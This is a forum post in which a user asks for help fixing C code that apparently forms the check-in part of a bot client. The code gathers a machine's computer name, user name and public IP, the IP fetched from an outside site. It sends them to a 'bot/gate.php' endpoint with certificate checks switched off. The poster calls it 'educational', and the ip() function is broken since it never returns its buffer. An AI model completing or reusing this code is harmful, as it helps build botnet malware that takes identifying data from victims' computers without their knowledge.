Jump to content
StoneIce

print character from char* () function

Recommended Posts

Posted

Ok This Code sends data from the application to the php page, Tested and works Ok.

but the char* ip sends blank data , been wondering why it behaves so.

It sends the computer as well as the computer User name to the server , but the IP it does not, i am wondering if someone could give me a hand to print characters from a char function.

Everything coded here is strictly for educational purposes.

Code looks like this



//#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <Wininet.h>

#define GET 0
#define localhost Host

#pragma comment(lib,"wininet")
#pragma comment(lib,"urlmon")

char* ip();
char* myHwid();

char* myip = ip();

char* comp = getenv("COMPUTERNAME");

char* user = getenv("USERNAME");

char* ip ()
{
HINTERNET hInternet , hFile;
DWORD rSize;
char ipv4[50];
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
InternetReadFile(hFile,&ipv4,sizeof(ipv4),&rSize);
ipv4[rSize] ='\0';
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);

}


void Request(int Method, LPCSTR Host, LPCSTR url, LPCSTR header, LPSTR data)
{

HINTERNET internet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET connect = InternetConnectA(internet, Host, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);

HINTERNET request = HttpOpenRequestA(connect, GET, url, "HTTP/1.1", NULL, NULL,
INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
INTERNET_FLAG_NO_AUTH |
INTERNET_FLAG_NO_CACHE_WRITE |
INTERNET_FLAG_NO_UI |
INTERNET_FLAG_PRAGMA_NOCACHE |
INTERNET_FLAG_RELOAD, NULL);

if(request != NULL)
{
int datalen = 0;
if(data != NULL) datalen = strlen(data);
int headerlen = 0;
if(header != NULL) headerlen = strlen(header);

//http://msdn.microsoft.com/en-us/library/windows/desktop/aa384247%28v=vs.85%29.aspx
HttpSendRequestA(request, header, headerlen, data, datalen);

//http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350%28v=vs.85%29.aspx
InternetCloseHandle(request);
}
InternetCloseHandle(internet);

}

void sendpcInfo()
{
char URL[1024];
char* geturi = "bot/gate.php?myip=%s&comp=%s&compUser=%s";
wsprintfA(URL,geturi,myip,comp,user);
Request(GET,"localhost",URL,NULL,NULL);
MessageBoxA(NULL,"Sent!","",MB_OK);
}

int main()
{
sendpcInfo();
system("pause");
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...